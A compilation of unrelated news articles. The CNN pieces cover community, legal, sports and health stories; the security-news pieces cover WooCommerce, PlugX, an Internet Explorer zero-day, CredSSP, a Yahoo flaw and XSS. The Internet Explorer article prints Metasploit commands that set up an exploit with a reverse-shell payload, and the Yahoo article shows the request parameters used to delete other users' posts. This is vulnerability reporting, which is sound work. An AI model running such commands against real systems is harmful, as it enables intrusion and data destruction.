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Story highlightsKhali Sweeney grew up in a rough part of Detroit with little guidanceAfter escaping street life, he founded a boxing gym to help others do the sameAbout 100 children per week train, plus receive tutoring and meals thereDetroit (CNN)Growing up in Detroit was not easy for Khali Sweeney. When he was just 6 weeks old, his parents gave him away to a woman in the neighborhood.JUST WATCHEDCNN Hero Khali SweeneyReplayMore Videos ...MUST WATCHCNN Hero Khali Sweeney 02:31"That put a chip on my shoulder," Sweeney said. "So, I was always getting in trouble; I was always fighting. ... She raised me the best she could, but I was always looking for a family."Sweeney ended up finding it in the wrong group. "People on the streets will be your family," he said, "but at a cost." Read MoreUltimately, Sweeney dropped out of high school. He had no job, no education and nowhere to live.Yet, he was able to turn his life around, realizing it would have been different had someone kept him on track as a child. He wanted to help save other young people from the same path.Sweeney had fallen in love with boxing when he was young and learned all he could. When he realized he wanted to help kids in his neighborhood, he knew it was one way he could reach them. So, he started by teaching a few kids in a nearby park.In 2007, Sweeney started the Downtown Boxing Gym Youth Program. Five days a week, around 100 children are picked up from school and brought to his gym.Boxing, Sweeney says, "teaches you to be focused." He and his coaches become mentors, folding in lessons about accountability, sportsmanship and perseverance. The gym also has a tutoring center. Sweeney considers that the most important aspect of his program."Education is key," he said. "Books before boxing has always been our motto." For Sweeney -- who's poured everything he owns into the program -- his purpose is to give these children the thing he always wanted."We treat everyone here like family," he said. "We motivate each other." So far, 267 students have completed the program. All of them, he says, have graduated high school, and 98% have gone on to college. CNN's Meghan Dunn spoke with Sweeney about his work. Below is an edited version of their conversation.CNN: What was your life like growing up? Sweeney: I always wondered, "Why? Where was my real family at?" I had a lot of anger inside of me. It displayed itself at the most inopportune times. At school always seemed the time that it flared up. I couldn't read or write. I just went until about 11th grade. I got a good report card. I'm like, "Well, how? I don't even know the teachers." I saw all the guys in the neighborhood. Those guys didn't have an education and they were doing well. They had nice cars, nice things. So, I turned to a life of crime. I started running the streets of Detroit. Everything that I didn't learn in school, I learned in the streets.I've been shot at multiple times. I had a guy shoot 26 rounds. (There) was a reason that he didn't hit me -- it was for me to be here for these kids.CNN: The kids in your program, they really listen to you.Sweeney: I've been there for real. So, when they hear it from me, it's like, "Oh, he's not sugar coating it." I had the abuse at home. I literally had my teeth knocked out of my mouth. I've seen how the school system can just push you through. I've been hungry. I've been living in abandoned houses. When I talk to you, I'm telling you from experience. Just imagine if you just fell in a hole and broke every bone in your body. It took you 20 years to crawl out of this hole, and the minute you crawl out, you see a young kid about to run right in that hole. You just move out of the way and let them fall in there? I can't do it. So, I'm going to do everything I can do to stop people from falling in that hole. I'm going to cover it up; I'm going to block it. Whatever I've got to do.JUST WATCHEDCNN Hero Khali Sweeney: Don't box me inReplayMore Videos ...MUST WATCHCNN Hero Khali Sweeney: Don't box me in 02:07CNN: Do you see a different side of these kids than others might see? Sweeney: I know for a fact that there's a lot more to these kids than first glance. For one, you've got to look at the environment, where they are. You've got to understand the history behind some of the behavior you see. This is not something that happened overnight. You're talking about generations and generations and generations of behavior. Nobody gets up in the morning and says, "I wanna be a criminal." Nobody says, "I wanna go out and fail at life." It doesn't work like that. It's a culture that's being created. We have to break that culture, and we have to counteract that culture. I don't see bad kids. I see a kid who hasn't been heard yet. So, let's find out what's really going on. I see the true potential in the kids. If you get this kid the necessary tools, the resources, if you show this kid the extra time, he wants to be successful.CNN: What do you want your gym to be for these kids?Sweeney: Home. Like an ideal home. I want him to feel like he can go right to the refrigerator and grab something to eat or he can come to me. If he has a problem, he can come to an adult or somebody here and say, "Hey, listen, I have a problem." To feel like he's among people who love him and he's not being judged.We want to boost each other up around here all the time. I want a kid to feel that when he walks in the door, that he's a part of a family, a real family. Want to get involved? Check out the Downtown Boxing Gym Youth Program website and see how to help. To donate to Downtown Boxing Gym Youth Program click the CrowdRise widget below.Khali Sweeney on CrowdRise
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If you own an eCommerce website built on WordPress and powered by WooCommerce plugin, then beware of a new vulnerability that could compromise your online store.
Simon Scannell, a researcher at RIPS Technologies GmbH, discovered an arbitrary file deletion vulnerability in the popular WooCommerce plugin that could allow a malicious or compromised privileged user to gain full control over the unpatched websites.
WooCommerce is one the most popular eCommerce plugins for WordPress that helps websites to upgrade their standard blog to a powerful online store. WooCommerce powers nearly 35% of e-stores on the internet, with more than 4 million installations.
Exploiting WooCommerce File-Deletion and WordPress Design Flaws
The attack demonstrated in the following video takes advantage of the way WordPress handles user privileges and WooCommerce file deletion vulnerability, allowing an account with "Shop Manager" role to eventually reset administrator accounts' password and take complete control over the website.
When installed, WooCommerce extension creates "Shop Managers" accounts with "edit_users" capability, allowing them to edit customer accounts of the store in order to manage their orders, profiles, and products.
In WordPress, an account with "edit_users" capability by default allowed to even edit an administrator account and reset its password. But to draw a permission-based line between an administrator and a shop manager account, the WooCommerce plugin adds some extra limitations on the shop managers.
However, the researcher discovered that if WordPress admin, for some reason, disables the WooCommerce plugin, its configuration that mandated the limitation goes away, allowing Shop Manager accounts to edit and reset the password for administrator accounts.
Now, according to Simon, a malicious Shop Manager can forcefully disable the WooCommerce plugin by exploiting a file deletion vulnerability that resides in the logging feature of WooCommerce.
"This vulnerability allows shop managers to delete any file on the server that is writable. By deleting the main file of WooCommerce, woocommerce.php, WordPress will be unable to load the plugin and then disables it," Simon explains in a blog post.
Once the file is deleted, the WooCommerce plugin gets disabled, allowing shop managers to update the password for the administrator account and then take over the complete website.
Install WooCommerce and WordPress Patch Updates
The researcher responsibly reported the security issues to the Automattic security team, who manages the WooCommerce plugin, via Hackerone on 30, August 2018. The team acknowledged the flaws and fixed them in Woocommerce version 3.4.6 last month.
If you haven,t yet updated your WordPress and Woocommerce, you are highly recommended to install the latest available security updates as soon as possible.
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Roland Dela Paz (Threat Researcher) at TrendMirco reported that last year a Malware Campaign to target specific users in Japan, China, and Taiwan once again on rise using new breed of Remote Access Tool (RAT) called Plugx (also known as Korplug). This new custom made version comes for less recognition and more elusiveness from security researchers.
He also mention that last year campaign used the Poison Ivy RAT, but now its Plugx take its place. "Similar to previous Poison Ivy campaigns, it also arrives as an attachment to spear-phished emails either as an archived, bundled file or specially crafted document that exploits a vulnerability in Adobe Acrobat Reader or Microsoft Office. We've also encountered an instance of Plugx aimed at a South Korean Internet company and a U.S. engineering firm." Roland mentioned.
The attached pdf exploits CVE-2010-2883 (with Plugx (RAT) payload connects to a command and control (C&C) server named {BLOCKED}eo.flower-show.org.
CVE-2010-2883: Stack-based buffer overflow in CoolType.dll in Adobe Reader and Acrobat 9.x before 9.4, and 8.x before 8.2.5 on Windows and Mac OS X, allows remote attackers to execute arbitrary code or cause a denial of service (application crash) via a PDF document with a long field in a Smart INdependent Glyphlets (SING) table in a TTF font, as exploited in the wild in September 2010)
This C&C server appeared to be have been used by Poison Ivy and PlugX variants. According to Roland this rat drop a file at %System Root%\Documents and Settings\All Users\SxS\bug.log which contain it own errors and then possibly it uploads back to attacker server for Auditing. This shows that , this variant is still in beta stage. Trend Micro monitoring PlugX's development and We at THE HACKER NEWS, will update you with new info when published.
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Microsoft has confirmed reports that a zero-day vulnerability in its Internet Explorer browser is being actively attacked in the wild. Four active exploits of a zero-day vulnerability in the browser exists. Microsoft will push out an out-of-cycle Windows patch to temporarily fix the critical Internet Explorer flaw.
Security researcher Eric Romang identified the exploit code on a server used by the "Nitro" hacking group, believed to have exploited the Java zero-day vulnerability reported last month. Security firm Rapid7 advises that Internet users try a different Web browser. The malware may be linked to an ongoing attack on companies that has been dubbed "Nitro", and was first discovered in October by Symantec.
The zero-day in IE 6-9 is a use-after-free memory corruption vulnerability, similar to a buffer overflow, that would enable an attacker to remotely execute code on a compromised machine. The original exploit payload dropped the PoisonIvy remote access Trojan (RAT) via a corrupted Flash movie file. The latest payload discovered dropped the PlugX RAT via the same corrupted Flash movie.
This type of attack is typically begun with a phishing email, or by tricking users into clicking links in social media. The security advisory notes that mainstream websites that have ads placed on the site via third-party ad servers could also be vulnerable if the ad servers are compromised. In other words, any site could be used to take advantage of the IE flaw.It's a serious flaw.
Even, The German government has started telling its citizens to switch to other browsers. Microsoft has reported that most users are not affected by the bug, and the number of attacks has been limited. In the company's update about the bug, they suggest either deactivating ActiveX controls or using their Enhanced Mitigation Experience Toolkit until a patch is released.
Metasploit also Release PoC for this ."This module exploits a vulnerability found in Microsoft Internet Explorer (MSIE). When rendering an HTML page, the CMshtmlEd object gets deleted in an unexpected manner, but the same memory is reused again later in the CMshtmlEd::Exec() function, leading to a use-after-free condition. Please note that this vulnerability has been exploited in the wild since Sep 14 2012, and there is currently no official patch for it." Get Exploit Here,
Usage :
use exploit/windows/browser/ie_execcommand_uaf
set SRVHOST 192.168.178.33
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.33
exploit
sysinfo
getuid
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A critical vulnerability has been discovered in Credential Security Support Provider protocol (CredSSP) that affects all versions of Windows to date and could allow remote attackers to exploit RDP and WinRM to steal data and run malicious code.
CredSSP protocol has been designed to be used by RDP (Remote Desktop Protocol) and Windows Remote Management (WinRM) that takes care of securely forwarding credentials encrypted from the Windows client to the target servers for remote authentication.
Discovered by researchers at Cybersecurity firm Preempt Security, the issue (CVE-2018-0886) is a logical cryptographic flaw in CredSSP that can be exploited by a man-in-the-middle attacker with Wi-Fi or physical access to the network to steal session authentication data and perform a Remote Procedure Call attack.
When a client and server authenticate over RDP and WinRM connection protocols, a man-in-the-middle attacker can execute remote commands to compromise enterprise networks.
"An attacker which have stolen a session from a user with sufficient privileges could run different commands with local admin privileges. This is especially critical in case of domain controllers, where most Remote Procedure Calls (DCE/RPC) are enabled by default," says Yaron Zinar, lead security researcher for Preempt.
"This could leave enterprises vulnerable to a variety of threats from attackers including lateral movement and infection on critical servers or domain controllers."
Since RDP is the most popular application to perform remote logins and almost all enterprise customers are using RDP, it makes most networks vulnerable to this security issue.
Preempt Researchers discovered and reported this previously unknown remote code execution vulnerability to Microsoft in August last year, but the tech giant issued a fix for the protocol just today as part of its Patch Tuesday release—that's almost after 7 months of reporting.
To defend yourself and your organizations against the CredSSP exploit, users are recommended to patch their workstations and servers using available updates from the Microsoft.
Though researchers also warned that patching alone is not sufficient to prevent this attack, IT professionals are also required to make some configuration to apply the patch and be protected.
Blocking the relevant application ports including RDP and DCE/RPC would also thwart the attack, but researchers say this attack could even be implemented in different ways, using different protocols.
Therefore, to better protect your network, it is a good idea to decrease the use of privileged account as much as possible and instead use non-privileged accounts whenever applicable.
As part of March 2018 Patch Tuesday, Microsoft has also released security patches for its other products, including Microsoft IE and Edge browser, Windows OS, Microsoft Office, PowerShell, Core ChakraCore, as well as Adobe Flash player.
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Yahoo! The 4th most visited website on the Internet has been found vulnerable multiple times, and this time a hacker has claimed to spot a critical vulnerability in the Yahoo! sub-domain 'suggestions.yahoo.com', which could allow an attacker to delete the all the posted thread and comments on Yahoo's Suggestion Board website.
Egyptian Cyber Security Analyst, 'Ibrahim Raafat', found and demonstrated 'Insecure Direct Object Reference Vulnerability' in Yahoo's website on his blog.
Exploiting the flaw escalates the user privileges that allow a hacker to delete more than 365,000 posts and 1,155,000 comments from Yahoo! Database. Technical details of the vulnerability are as explained below:
Deleting Comments: While deleting his own comment, Ibrahim noticed the HTTP Header of POST request, i.e.
prop=addressbook&fid=367443&crumb=Q4.PSLBfBe.&cid=1236547890&cmd=delete_comment
Where parameter 'fid' is the topic id and 'cid' is the respective comment ID. While testing, he found changing the fid and cid parameter values allow him to delete other comments from the forum, that are actually posted by another user.
Deleting Posts: Next, he also tested post deletion mechanism and found a similar loophole in that. A normal HTTP Header POST request of deleting a post is:
POST cmd=delete_item&crumb=SbWqLz.LDP0
He found that, appending the fid (topic id) variable to the URL allows him to delete the respective post, that was not posted by himself i.e.
POST cmd=delete_item&crumb=SbWqLz.LDP0&fid=xxxxxxxx
Ibrahim has reported the flaw to Yahoo Security team and also provided a Video Demonstration, as shown below:
A potential attacker with little knowledge of programming could write an automated script to delete all the comments and posts.
The vulnerability hunter claimed that he had received the Bug Bounty for reporting this security flaw to yahoo and which now has been fixed by the company.
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myOpenID XSS : One of the Largest OpenID provider is Vulnerable
One of the One of the Largest Independent OpenID provider "myOpenID" is Vulnerable to Cross Site Scripting (XSS) ,Discovered by "SeeMe" - Member of Inj3ct0r Team. Cross Site Scripting (or XSS) is one of the most common application-layer web attacks.
What Hacker can do - "The attackers can steal the session ID of a valid user using XSS. The session ID is very valuable because it is the secret token that the user presents after login as proof of identity until logout. If the session ID is stored in a cookie, the attackers can write a script which will run on the user's browser, query the value in the cookie and send it to the attackers. The attackers can then use the valid session ID to browse the site without logging in. The script could also collect other information from the page, including the entire contents of the page".
Proof Of Concept - Click Here
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German federal police have arrested a 20-year-old local student for stealing and publishing a massive trove of personal data of hundreds of politicians, journalists and other public figures last month.
The young man, whose identity has not been revealed by the police, was arrested after police raided his parent's house in west-central German State of Hesse on Sunday and recovered a computer that the suspect tried to destroy 2 days before the search and a data backup.
The suspect, who believed to have acted alone, has admitted of carrying out the mass hacking of German politicians out of anger at their political statements, BKA Federal Criminal Police revealed.
"The accused was interrogated on 07.01.2019 by the senior prosecutor and officials of the Federal Criminal Police Office. He comprehensively acknowledged the allegations against him and provided information on his own offenses," the BKA said in a press release.
"Due to a lack of grounds for detention, the accused was released in the evening hours of 07.01.2019 and the provisional arrest canceled. The evidence seized as part of the search warrant, in particular computers and data carriers, is currently being fully evaluated."
Despite not being a computer expert, the man managed to access and leak personal data from about 1,000 people, including Chancellor Merkel, journalists, and politicians from parties currently represented in the federal parliament, including the CDU, CSU, SPD, FDP, Left party (Die Linke) and Greens.
Known on Twitter by the name "G0d," the suspect published private data about German politicians, journalists, and celebrities on Twitter, under the username @_0rbit.
Telephone numbers, private chats, and letters, some credit card data, addresses and copies of identity cards of victims were all exposed in what believed to be one of the country's biggest data breaches in the history.
Unlike as initially feared, early evidence suggests no involvement of foreign intelligence or activists for far-right Alternative for Germany (AfD), who was not targeted by the attacker, in the incident.
Besides German politicians, the intrusive hack attacks also affected well-known actor Til Schweiger, two renowned German comedians, Jan Boehmermann and Christian Ehring, as well as dozens of journalists from ZDF and ARD–public-funded German media outlets.
Germany is still in the process of removing the exposed data from the Internet, but there are no signs that any information was released that would be considered politically explosive or increase security risks.
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(CNN)A lawyer who subjected aircraft crew to "prolonged" racist abuse on a November flight from Mumbai to London was convicted of assault Wednesday.Uxbridge Magistrates' Court heard that Simone Burns, who goes by Simone O'Broin, also spat at a crew member and grabbed her by the arm after staff refused to serve her more alcohol, the UK's Press Association news agency reported Burns, from Hove, England, began her racist rant on the Air India flight when flight attendants declined to sell her a fourth bottle of wine. Prosecutor Lauren Smith told Uxbridge Magistrates' Court that Burns, who is 50, began "swearing and shouting," calling the flight crew "f***ing Indian money-grabbing c***s."When a cabin supervisor attempted to intervene, Burns spat in her face, swore at her, and "grabbed her by her right upper arm and squeezed it," Smith said. Burns ignored a written warning from the flight's captain and was also caught smoking in the plane bathroom. Read MoreSmith told the court that Burns shouted, "I have done so much for you f***ing Indians and f***ing Pakistanis -- you should be grateful to me."Police identify man filmed in racist rant on Ryanair flightRobert Della-Sala, chairing the bench, said: "The level of racist abuse was prolonged and unwarranted -- there's no excuse for that.""The spitting in the face must have been one of the most awful things that can happen to anybody, given the transmission of diseases," Della-Sala continued.A spokesperson for the Metropolitan Police confirmed to CNN that Burns was arrested after the plane landed at Heathrow Airport on November 10. In February, she was charged with "behaving in a threatening, abusive, insulting or disorderly manner toward a member of aircraft crew" as well as assaulting the aircraft crew and being drunk on an aircraft. In court, Burns pleaded guilty to assault by beating and being drunk on an aircraft. Magistrates deemed her offenses too significant for them to sentence, passing her case to Isleworth Crown Court, where she will be sentenced on April 4. CNN has contacted Burns' lawyer for comment.
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Story highlightsPrime Minister says Norway is looking into proposal to move the border Move would give Halti Mountain to Finland to mark its 100th year of independence (CNN)Thinking of giving a little summit to your neighbor for a 100th birthday present? What about a mountain?Norwegian Prime Minister Erna Solberg said this week her government was considering a proposal to move the country's border 40 meters (about 130 feet) -- gifting Finland a mountain for its 100 years of independence in 2017."So far I have not made any decisions, but we are looking into this matter," Solberg told state broadcaster NRK.The proposal follows a public campaign on Facebook to give Finland the Halditcohkka peak of Halti Mountain. The mountain sits on the border between the two countries -- with its peak on the Norwegian side.CNN MapBy shifting the border slightly, the summit, measuring 1,331 meters (4,366 feet), would instead reside in Finland.Read MoreWhile Norway has many high mountains, its neighbor is a little more vertically challenged. Should the proposal go ahead, the Halditcohkka peak would become Finland's highest point.How Norway is changing the way we drink coffee"We have a lot of mountains, and this is just a small mountaintop," said Sondre Lund, a Norwegian student who set up the initial Facebook campaign."It's such a small thing, but such a big thing also. All the Nordic countries have great relations; this is just a part of that."Norway boasts many mountains, including these spectacular ridges in Longyearbyen.Lund was inspired by Bjørn Geirr Harsson, a retired employee of the Norwegian Mapping Authority who suggested the idea while taking border measurements in 1972.Where the pros go for snow: Skiing in Scandinavia"I was taken aback by why on earth (Finland) had not received this peak," Harsson told The Local, a Norwegian English-language newspaper."It would barely be noticeable (for Norway). And I'm sure the Finns would greatly appreciate getting it."Journalist Will Heilpern contributed to this report.
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(CNN)As druglord Joaquin "El Chapo" Guzman was learning Wednesday he won't likely ever see freedom again, his daughter launched a clothing line in Mexico that hinges heavily on the legacy and lore surrounding her father. It appears at least some of the items in the clothing line are being made in a Mexican maximum-security federal prison from where El Chapo escaped in 2001. Alejandrina Gisselle Guzman Salazar is the daughter of the 62-year-old former Sinaloa Cartel chief, who a judge sentenced Wednesday to life plus 30 years in a Colorado supermax prison. Her fashion line -- dubbed El Chapo 701, a reference to Forbes naming her father the 701st richest person in the world in 2009 -- made its debut at IM Intermoda, a fashion expo held in Guadalajara, according to the brand's social media posts. The expo began Tuesday and runs through Friday. JUST WATCHEDFeds claim El Chapo a prison escape riskReplayMore Videos ...MUST WATCHFeds claim El Chapo a prison escape risk 03:48IM Intermoda says it brings "together designers, producers, distributors, and national and international buyers to exhibit and acquire the most outstanding trends of the season." Read MoreAlejandrina Guzman went live on Facebook Tuesday, filming a journalist conducting an interview at the booth hawking the line's wares, which include satin bombers jackets, hoodies and accessories. A black-and-gold image of her father is emblazoned on one of the booth's walls. Her father has long enjoyed a Robin Hood-like reputation, but even by that standard the company's website describes her father in glowing, if subdued, terms, calling him "a friend of everyone, willing leader" and "a humble orange vendor with many goals and great ambition.""In the entire world, he is known as the CEO of Sinaloa or the Lord of the Mountains. He is the unique and legendary 701," the website says. View this post on Instagram ¿Qué tal el estilo de @chocholoco1 ? 🆒 🔥Adquiere tu hoodie en www.elchapoguzman.com How about the style of @chocholoco1 ?🆒 🔥Acquire your hoodie at www.elchapoguzman.com . . .
#ElChapo #ElChapoGuzman #Chapo #ChapoGuzman #701 #LordOfTheMountain #elseñordelamontaña #elchaparrito #sinaloa #latuna #badiraguato #fashion #style #good #moda #outfit #instamoda #cute #mexico #hechoenmexico #love #modacasual #buengusto A post shared by El Chapo Guzmán 701 (@elchapoguzmanoficial.701) on Jul 16, 2019 at 7:48am PDT
Dentist and model Enrique Flores is pictured on the company's social media accounts wearing a "Lord of the Mountains" hoodie and ripped blue jeans. On his personal Instagram account, Flores, better known as Chocho Loco, wrote July 4 that he was at a photo shoot for Alejandrína Guzmán's new clothing brand, named for her dad. A video on Alejandrina Guzman's Facebook page, claiming to be from the Alejandrina Guzman Civil Association, shows the hands of a prisoner cutting leather, and embossing and etching it with logos. A caption on the video identifies the man as "Juan N.," an inmate at Puente Grande federal prison, outside Guadalajara. El Chapo made his first of two prison escapes from the penitentiary in 2001. The irony? The kingpin escaped in a laundry cart. Alejandrina Guzman's Facebook post says providing work and reintegrating prisoners back into society will be one of the clothing company's main objectives. View this post on Instagram El estilo es único🔥 . ✅Haz que todos te volteen a ver con estas sudaderas de El Chapo® www.elchapoguzman.com . . The style is unique🔥 . ✅Make everyone turn to see them with these El Chapo® sweatshirts www.elchapoguzman.com . . . #ElChapo #ElChapoGuzman #Chapo #ChapoGuzman #Moda #Estilo #BuenGusto #Modafemenina #instaModa #ModaCasual #fashion #style #stylish #love #me #cute #beautiful #swag #girls #design #model #culiacansinaloa #sinaloa #hechoenmexico #culiacan #outfit #mexico #buchon #buchona #buchonas A post shared by El Chapo Guzmán 701 (@elchapoguzmanoficial.701) on Jul 11, 2019 at 8:20am PDT
Despite Alejandrina Guzman regularly invoking her father in marketing materials, it's not clear if she has his blessing for the clothing line. In March, CNN reported that El Chapo had signed a contract from his Manhattan prison cell granting rights for his name and signature to a company headed by his wife, Emma Coronel. The company is called El Chapo Guzman: JGL LLC, and was expected to launch a clothing line this summer, said attorney Mariel Colon Miro, who was often seen sitting next to the druglord at his three-month-long trial."I'm very excited to start this project, which was based on ideas and concepts that my husband and I had years ago," said Coronel, adding that the project was dedicated to their twin daughters. El Chapo's wife, Emma Coronel Aispuro, said she was planning a clothing line as well.Alejandrina Guzman is El Chapo's daughter from his first wife, María Alejandrina Salazar Hernández. In December 2012, she was deported from the United States after pleading guilty in federal court to possessing a fraudulent visa. Weeks prior, US Customs and Border Protection agents arrested a pregnant Alejandrina Guzman at the international crossing in San Ysidro, California. She crossed hoping to give birth in the United States, her attorney, Guadalupe Valencia, said. She was a doctor working as a general practitioner, Valencia told CNN. At the time, her father was one of the most wanted drug traffickers in the world. He was captured again in 2014, only to escape the following year. He was captured once more in 2016 and extradited to the United States in 2017. CNN's Sonia Moghe and Catherine E. Shoichet contributed to this report.
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(CNN)The US Centers for Disease Control and Prevention will announce new metrics to guide Covid-19 restrictions such as mask-wearing on Friday, according to a senior CDC official.CDC will hold a news briefing Friday afternoon to discuss changes to Covid-19 metrics."It's time to shift from panic mode to cautiously moving forward," a CDC scientist who is involved with the process told CNN on Thursday. "We still need to be worried about [Covid] but maybe not all the time."A fourth Covid-19 shot might be recommended this fall, as officials 'continually' look at emerging dataThe CDC currently advises people who live in counties with substantial or high levels of Covid-19 transmission to wear masks indoors. The agency will not be changing that guidance, but will be changing the way it assesses "community levels of disease," by shifting from looking at cases alone to looking at "meaningful consequences" of the virus such as hospitalizations, emergency room visits and deaths.In the current map, 97% of counties are at substantial or high transmission. The scientist said the updated metrics will result in fewer counties at the highest levels of transmission. Read More"There will probably be more heterogeneity across the country in terms of what is going on with the virus. It will not be a giant crisis across the whole nation like with Delta and Omicron," the scientist said. "You never know if things will get bad and we're going to have pick up masking again and we'll have to socially distance, which we may still continue to have to do in some parts of country, and that will come and go, but it's not like it was two years ago."Guidance about different mitigation measures, such as masking and social distancing, will be based on the levels of disease in an individual county. "There will be consideration that when you get to this level, you'll want to consider doing this; when you get to this level, you want to consider doing this," the CDC scientist said. "Hopefully they'll be stressing the importance of local health departments making decisions according to local circumstances." Changing metrics The current community transmission map is based on the number of new cases per 100,000 people and the percent of positive tests in the past seven days. While awaiting updated CDC guidance, here's the data states are using to lift Covid-19 restrictionsThe agency will change this metric for two reasons, the source said. One, many more Americans are vaccinated now. Two, Omicron, the dominant variant in the United States, is much more transmissible and causes much milder illness. The decision to use case numbers was made earlier in the pandemic, based on the behavior of previous variants.But the now-dominant Omicron variant acts differently than previous variants, so the federal official said it makes sense to tweak the metrics based on those differences.The scientist said the CDC now wants to focus more on meaningful consequences such as hospitalizations, emergency room visits and deaths, noting that this is similar to the way the agency monitors influenza. Get CNN Health's weekly newsletter Sign up here to get The Results Are In with Dr. Sanjay Gupta every Tuesday from the CNN Health team."Meaningful consequences of the illnesses give us a better impact of Covid on people and the health care system," the scientist said. They added that the changes have been in the works for some time. "This has been something folks have been engaged with and working on very hard -- I mean really hard -- over the past few weeks," the scientist said. "It started before Omicron, and then Omicron pulled everyone into it, and now we'll be able to finish it." Several states have announced changes to their Covid-19 restrictions, including easing up on masking requirements, and some governors have asked the CDC for clearer guidance about how to make such decisions.CNN's Jacqueline Howard contributed to this report.
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Secunia PSI 3.0 : Automatic Patching Of Insecure Applications
Secunia Personal Software Inspector (PSI) is a free program that scans the system for programs that are installed in an outdated version.The developers have just released the first beta version of Secunia PSI 3.0 for Windows. A new version of the Personal Software Inspector (PSI) tool from vulnerability management firm Secunia automates the updating of third-party programs that don't already have auto-updaters built-in.
When you start the program for the first time after installation, you are asked to run a scan on the system. Secunia compares the list of installed software with the latest versions stored in their database. A list of outdated programs are then displayed in the program interface.
Though most software vendors release patches, its tedious for users to find these updates and download them, where Secunia inspector tool identifies vulnerable programs and plug-ins in your Computer, download and installs all the required patches to keep your Computer safe so that you can safely bank, shop and socialize online.
Secunia PSI 3.0 is compatible with all recent 32.bit and 64-bit editions of the Microsoft Windows operating system.
Download Secunia PSI 3.0 Beta
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Story highlightsRocket launches successfully two months after another crashedLaunch "sets the stage" for next International Space Station crewAn unmanned Russian rocket successfully lifted off with a cargo of supplies for the crew of the International Space Station on Sunday, two months after a similar rocket crashed in Siberia. The Progress 45 freighter is slated to dock with the station on Wednesday with three tons of food, fuel, water and spare parts for the U.S., Russian and Japanese crew of the station. The vessel took off from Russia's Baikonur Cosmodrome in Kazakhstan at 4:11 p.m. (6:11 a.m. ET) and reached its preliminary orbit in nine minutes, the U.S. space agency NASA said. The launch follows a failed launch in August, when another Progress crashed into the Siberian wilderness. It was the first such crash in the craft's 30-year service history, but space officials said the station's three-member crew was never in any danger of running out of food or water.In a written statement, NASA's manned space flight chief, Bill Gerstenmaier, said the launch "sets the stage" for the next scheduled crew rotation aboard the ISS in November.
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London, England (CNN)Ben Maher was about to start his first round in the Longines Global Champions Tour (LGCT) for the world's top show jumpers when the defending overall champion spotted something unusual."There is a rolling pole on the London jump," the Briton told the course builders as he cantered into the sandy arena at the Royal Chelsea Hospital, a stone's throw from the River Thames in London.The pole on the penultimate fence was duly fixed, and a few minutes later, Maher qualified for the jump-off with a flawless round on his tall chestnut Explosion W. It's the kind of attention to detail that turned Maher into a dominating force on the LGCT last season, when he took the overall title with four commanding wins. Winless Read MoreBut as every champion knows, winning is one thing, defending a big title is quite another. This season, Maher had been winless after 13 of 18 legs on the LGCT, finishing in second place in Cascais, Portugal and Doha, Qatar, with Explosion W.His season clicked into gear when it mattered the most: on home soil, in front of a sellout crowd in London.A few hours after Maher and Explosion W helped win the Global Champions League team event for the London Knights, the 36-year-old crushed the competition by winning a 12-horse jump-off in the individual LGCT by a huge margin of 1.46 seconds."Incredible," Maher told the crowd after his victory, his first in London since 2013. "Always, the best win is to win at home."'One of the best'Maher, who won team gold for Britain at the 2012 London Olympics, paid tribute to his strong Dutch warmblood, saying the 10-year-old gelding is "one of the best horses in the world.""We started the year a little slower than last year, we've had two Longines Global Champions Tour seconds and just missed out," said Maher. "Took all of the risk today, and he felt incredible. He deserved this win."READ: Jennifer Gates -- 'Lifetime learner' on juggling her love of horses with academiaREAD: "Listen to your horse, feel what they're doing" -- Pieter Devos' secrets of success Photos: Best images from 2019 Global Champions Tour and GCLPrague: The season champions walk into the O2 arena ahead of the Longines Global Champions Tour Super Grand Prix at the GC Prague Playoffs. Hide Caption 1 of 47 Photos: Best images from 2019 Global Champions Tour and GCLTo cap a stellar season, Briton Ben Maher (center) adds the Super Grand Prix crown to his second straight Longines Global Champions Tour title.Hide Caption 2 of 47 Photos: Best images from 2019 Global Champions Tour and GCLMaher and his impressive mount Explosion W in action in Prague.Hide Caption 3 of 47 Photos: Best images from 2019 Global Champions Tour and GCLMartin Fuchs flies high on Clooney 51.Hide Caption 4 of 47 Photos: Best images from 2019 Global Champions Tour and GCLShanghai Swans won the Global Champions League Super Cup, the season finale for the team event.Hide Caption 5 of 47 Photos: Best images from 2019 Global Champions Tour and GCLNew York – New York: The iconic skyline of dominated the final round of the regular season which took place on Governors Island off Lower Manhattan. Hide Caption 6 of 47 Photos: Best images from 2019 Global Champions Tour and GCLBelgian Pieter Devos held a narrow lead over defending overall champion Ben Maher.Hide Caption 7 of 47 Photos: Best images from 2019 Global Champions Tour and GCLBut Britain's Maher took the Grand Prix title to secure back-to-back Longines Global Champions Tour crowns.Hide Caption 8 of 47 Photos: Best images from 2019 Global Champions Tour and GCLMaher's trusty steed was the impressive Explosion W.Hide Caption 9 of 47 Photos: Best images from 2019 Global Champions Tour and GCLSaint-Tropez – Saint-Tropez: Jessica Springsteen rode RMF Zecilie to her very first individual victory on the Global Champions Tour. Hide Caption 10 of 47 Photos: Best images from 2019 Global Champions Tour and GCLSpringsteen, daughter of famed rocker Bruce, was a popular winner at the glamorous beach side venue on the French Riviera.Hide Caption 11 of 47 Photos: Best images from 2019 Global Champions Tour and GCLRome – Rome: Italy's famed Carosello IV Reggimento Carabinieri a Cavallo put on a display for the Global Champions Tour spectators in Rome. Hide Caption 12 of 47 Photos: Best images from 2019 Global Champions Tour and GCLBritain's Ben Maher, the defending overall champion, clinched the Rome Grand Prix to climb to the top of the season standings. Hide Caption 13 of 47 Photos: Best images from 2019 Global Champions Tour and GCLValkenswaard – Valkenswaard: Maikel van der Vleuten and Dana Blue on the way to victory in Valkenswaard.Hide Caption 14 of 47 Photos: Best images from 2019 Global Champions Tour and GCLThe Tops International Arena, in the Netherlands, is a wonderful venue to host the Valkenswaard leg of the tour. Hide Caption 15 of 47 Photos: Best images from 2019 Global Champions Tour and GCLLondon – London: Winless all season, defending overall LGCT champion Ben Maher hits back with a bang on Explosion W on home soil.Hide Caption 16 of 47 Photos: Best images from 2019 Global Champions Tour and GCLShane Sweetnam goes airborne on Alejandro at the Royal Hospital Chelsea.Hide Caption 17 of 47 Photos: Best images from 2019 Global Champions Tour and GCLBerlin – Berlin: Dani G. Waldman and Lizziemary triumphed in Berlin.Hide Caption 18 of 47 Photos: Best images from 2019 Global Champions Tour and GCLGermany's Ludger Beerbaum and Cool Feeling missed out by just 0.35 seconds.Hide Caption 19 of 47 Photos: Best images from 2019 Global Champions Tour and GCLChantilly – Chantilly: Darragh Kenny rode to victory on Balou du Reventon in front of the spectacular Chateau de Chantilly north of Paris. Hide Caption 20 of 